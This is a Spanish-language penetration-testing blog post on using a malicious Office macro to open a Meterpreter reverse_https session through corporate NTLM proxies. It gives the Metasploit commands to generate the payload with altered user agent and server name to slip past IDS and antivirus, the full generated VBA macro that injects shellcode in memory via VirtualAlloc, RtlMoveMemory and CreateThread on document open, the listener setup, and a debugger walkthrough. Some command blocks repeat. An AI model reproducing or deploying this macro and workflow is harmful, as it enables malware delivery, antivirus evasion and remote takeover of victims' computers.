En el anterior post (ingeniería social con macros de Microsoft Office) vimos como realizar macros para descargar nuestros binarios maliciosos mediante winhttp y ejecutarlos, así como nuestro script vbs para la tarea programada y así crear nuestra backdoor.
Según la idea del post anterior, en un entorno donde la única posible salida a internet es mediante proxy (como muchos entornos corporativos) esto no funcionaría.Para que esto funcione en una auditoria que nos podamos encontrar con este problema podemos realizar lo siguiente.
Tenemos dos problemas.Nuestra macro descarga vía winhttp el binario, esto ya no funcionará.Además, nuestros binarios de meterpreter, realizan una conexión reversa al puerto 443 de nuestro servidor, por lo que tampoco funcionará.Desde las macros, podemos utilizar un método de winhttp para configurar el proxy, usuario y contraseña, pero deberíamos averiguar antes esos datos por lo que esta solución no es la mejor.
Suponiendo que el proxy utiliza la autenticación NTLM del usuario logado del dominio (lo más
común..) vamos a utilizar el payload de meterpreter reverse_https , vamos a hablar sobre este payload:
El meterpreter reverse_https (tambien existe modalidad http) esta diseñado para utilizar en sus comunicaciones el proxy configurado en el internet explorer y el hash ntlm del usuario logado en la máquina.Normalmente en los proxys corporativos si piden usuario y contraseña son del usuario del dominio, por tanto con este meterpreter nos puede solucionar este problema.El motivo de usar https , en vez de http, es por evitar posibles IDS/IPS o proxys que pueden detectar/cortar la comunicación de nuesro meterpreter al detectar el envio de la DLL que realiza el 2º stage del meterpreter, al ir la comunicación cifrada con el reverse_https, evitaremos este problema.
Veamos en mas detalle como funciona el reverse_https en un entorno corporativo, con proxy e IPS que podría bloquear nuestro 2º stage (incluso el primero) del meterpreter:
Nota: Tanto el reverse_http como el reverse_https funcionaran aunque estemos en un entorno sin proxy.
Se ejecuta el meterpreter en la maquina objetivo , se realiza un connect a https://nuestroservidor:443 , el proxy nos rechaza por primera vez la conexion con un 407 y un mensaje de acceso denegado:
El meterpreter de nuevo realiza otro GET pero esta vez con el hash NTLM del usuario logado , ahora el proxy acepta la conexion y conectar con nuestro servidor, se puede ver en la captura como se inicia el 2º stage de forma cifrada:
Tanto el primer stage como el segundo stage del meterpreter, utilizan la API WinINet que es mucho más potente que el winhttp que utilizamos en las macros.Con esta API es de la forma que conseguimos utilizar el proxy de internet explorer y con la autenticación cacheada del usuario del dominio.
Más info sobre WinINet:
http://msdn.microsoft.com/en-us/library/windows/desktop/hh227298%28v=vs.85%29.aspx
Podemos encontrarnos otros problema aún utilizando el reverse_https y es que el user-agent y la cabecera Server que utiliza por defecto y puede que algún IPS/AV lo detecte ,por lo que debemos cambiar estos parametros a la hora de generar el reverse_https ( o http), esto lo realizaremos más adelante.
Bien, tenemos una parte solucionada, ahora vamos con la macro de Office.Lo ideal sería utilizar nuestro meterpreter en la macro de Office de forma embedida , para que no tengamos que descargar ningun binario ni tengamos que evitar el proxy tambien en el código de nuestra macro.
Metasploit nos da la solución, podemos generar el código de una macro que directamente lo que hace es ejecutar en MEMORIA la shellcode del 1º stage del meterpreter, la shellcode estará directamente en el código de la macro.Para hacerlo en memoria y por tanto de forma INDETECTABLE para los antivirus (hasta donde hemos podido ver), utiliza las API de windows de kernel32.dll CreateThread , VirtualAlloc y RtlMoveMemory , de esta forma una vez el usuario acepte la macro se ejecutara en memoria el primer stage del meterpreter reverse_https y el AV ni se enterara.. Una maravilla !!!
Veamos como hacer esto y como funciona:
./msfconsole
use payload/windows/meterpreter/reverse_https
set LPORT 443
SET LHOST 192.168.1.100
set MeterpreterUserAgent test
set MeterpreterServerName testserver
set SessionCommunicationTimeout 0 # para que intente conectar siempre con nuestro servidor hasta que el proceso muera
msf payload(reverse_https) > generate -t vba # con esto generamos nuestro codigo con VBA que hemos comentado anteriormente, a continuación el código que genera metasploit:
use payload/windows/meterpreter/reverse_https
set LPORT 443
SET LHOST 192.168.1.100
set MeterpreterUserAgent test
set MeterpreterServerName testserver
set SessionCommunicationTimeout 0 # para que intente conectar siempre con nuestro servidor hasta que el proceso muera
msf payload(reverse_https) > generate -t vba # con esto generamos nuestro codigo con VBA que hemos comentado anteriormente, a continuación el código que genera metasploit:
#If Vba7 Then Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Navbwwi As Long, ByVal Losqlpmw As Long, ByVal Qqf As LongPtr, Zhsj As Long, ByVal Cqrlyq As Long, Agrj As Long) As LongPtr Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Acvwhexgo As Long, ByVal Puxbue As Long, ByVal Fxujt As Long, ByVal Pcu As Long) As LongPtr Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Hbdyw As LongPtr, ByRef Vzz As Any, ByVal Iynuh As Long) As LongPtr #Else Private Declare Function CreateThread Lib "kernel32" (ByVal Navbwwi As Long, ByVal Losqlpmw As Long, ByVal Qqf As Long, Zhsj As Long, ByVal Cqrlyq As Long, Agrj As Long) As Long Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Acvwhexgo As Long, ByVal Puxbue As Long, ByVal Fxujt As Long, ByVal Pcu As Long) As Long Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Hbdyw As Long, ByRef Vzz As Any, ByVal Iynuh As Long) As Long #EndIf Sub Auto_Open() Dim Igrremhxu As Long, Bbzryy As Variant, Fhggo As Long #If Vba7 Then Dim Miuwy As LongPtr, Zvssckpzo As LongPtr #Else Dim Miuwy As Long, Zvssckpzo As Long #EndIf Bbzryy = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _ 139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _ 13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _ 116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _ 214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _ 36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _ 139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _ 235,134,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,255, _ 213,49,255,87,87,87,87,106,0,84,104,58,86,121,167,255,213,235,95,91, _ 49,201,81,81,106,3,81,81,104,187,1,0,0,83,80,104,87,137,159,198, _ 255,213,235,72,89,49,210,82,104,0,50,160,132,82,82,82,81,82,80,104, _ 235,85,46,59,255,213,137,198,106,16,91,104,128,51,0,0,137,224,106,4, _ 80,106,31,86,104,117,70,158,134,255,213,49,255,87,87,87,87,86,104,45, _ 6,24,123,255,213,133,192,117,26,75,116,16,235,213,235,73,232,179,255,255, _ 255,47,81,99,57,111,0,0,104,240,181,162,86,255,213,106,64,104,0,16, _ 0,0,104,0,0,64,0,87,104,88,164,83,229,255,213,147,83,83,137,231, _ 87,104,0,32,0,0,83,86,104,18,150,137,226,255,213,133,192,116,205,139, _ 7,1,195,133,192,117,229,88,195,232,81,255,255,255,49,57,50,46,49,54, _ 56,46,49,46,49,48,48,0) Miuwy = VirtualAlloc(0, UBound(Bbzryy), &H1000, &H40) For Fhggo = LBound(Bbzryy) To UBound(Bbzryy) Igrremhxu = Bbzryy(Fhggo) Zvssckpzo = RtlMoveMemory(Miuwy + Fhggo, Igrremhxu, 1) Next Fhggo Zvssckpzo = CreateThread(0, 0, Miuwy, 0, 0, 0) End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub
Este código lo tendremos que copiar tal cual en la macro del documento.
En nuestro servidor:
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.1.100
set LPORT 443
set MeterpreterServerName testserver
set MeterpreterUserAgent test
set ExitOnSession false
exploit -j -z
set payload windows/meterpreter/reverse_https
set LHOST 192.168.1.100
set LPORT 443
set MeterpreterServerName testserver
set MeterpreterUserAgent test
set ExitOnSession false
exploit -j -z
Abrimos el documento, aceptamos las macros y ..
Vamos a adentrarnos un poquito mas en el funcionamiento a un nivel mas bajo:
Buscamos con nuestro debugger favorito (olly,immunity debugger,etc) la dirección de memoria de virtualalloc que utiliza nuestra macro para hacer ejecutable una zona de memoria y copiar nuestra shellcode en esa zona de memoria, tambien buscamos la dirección de WinInet que utiliza el meterpreter una vez es ejecutado.
En mi caso son:
virtualalloc del kernel32.dll -> 76A51856
Wininet -> 74E51735
Wininet -> 74E51735
Consejo:Para evitar problemas con el Wininet, en la maquina donde hagamos las pruebas, cerramos cualquier navegador y/o aplicación que pueda utilizar conexion a internet.
Abrimos nuestro documento excel (en mi caso) con macros y ANTES de habilitar las macros, hacemos un attach del excel.exe con nuestro debugger.Después de poner un breakpoint en el virtualalloc del kernel32.dll en mi caso 76A51856 , ponemos otro breakpoint en Wininet , que lo utilizará meterpreter para realizar las conexiones, en mi caso es la direccion 74E51735, una vez tenemos los 2 breakpoints le damos a F9 para que siga ejecutandose y ya podemos darle a "Habilitar Macros" en el documento:
Según le demos a habilitar macros, veremos como entramos en nuestro breakpoint del virtualalloc, ademas en la pila podemos ver la llamada realizada a VirtualAlloc y vemos claramente como se ha llamado desde el modulo VBE7 , el modulo que utilizan las macros de word.
Con esto vemos como nuestra macro ha utilizado la funcion Virtualalloc, si seguimos avanzando con F8
veremos como pasamos del kernel32.dll al modulo VBE7 en el debugger, donde se esta ejecutando el codigo VBA de nuestra macro, tal y como se ha comentado anteriormente.
Seguidamente, quitamos el breakpoint del virtualalloc quedando solo el breakpoit de Wininet , si volvemos a pulsar F9 , veremos como entra en el breakpoint de Wininet, lo que indica que se esta ejecutando nuestro meterpreter y esta utilizando dicha función.
Si le damos varias veces a F9 (utiliza la función multiples veces) veremos como obtenemos la sesión de meterpreter reverse_https.